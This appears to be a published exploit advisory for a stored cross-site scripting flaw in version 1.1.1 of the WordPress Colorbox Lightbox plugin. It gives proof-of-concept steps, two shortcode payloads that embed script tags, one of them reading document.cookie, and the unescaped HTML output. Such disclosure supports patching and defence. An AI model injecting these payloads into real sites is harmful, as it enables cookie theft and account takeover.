32 lines
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1.4 KiB
Text
32 lines
No EOL
1.4 KiB
Text
# Exploit Title: WordPress Plugin Colorbox Lightbox v1.1.1 - Persistent Cross-Site Scripting Vulnerability (Authenticated)
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# Date: 10.8.2020.
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# Exploit Author: n1x_ [MS-WEB]
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# Software Homepage: https://wordpress.org/plugins/wp-colorbox/
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# Software Link (v1.1.1): https://downloads.wordpress.org/plugin/wp-colorbox.1.1.1.zip
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# Product Version: 1.1.1
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[Description]
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# WordPress Colorbox plugin is a simple lightbox tool for WordPress. It allows users to pop up content in lightbox using the popular jQuery ColorBox library.
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# Due to improper input santitization of "hyperlink" field, of the plugin shortcode, version v1.1.1 (and possibly previous versions), are affected by a stored XSS vulnerability.
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[Proof of Concept]
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# 1. Authorization as user with privileges to write and publish posts
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# 2. Injecting code into "hyperlink" field of the plugin shorthocode, and publishing the post
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# 3. The code is stored on the post
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[Example payloads]
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# Example payload 1: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert(document.cookie)</script>"]
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# Example payload 2: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert('sampletext')</script>"]
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[Response]
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...
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<a class="wp-colorbox-youtube" href="http://www.youtube.com/embed/example"><script>alert('sampletext')</script></a>
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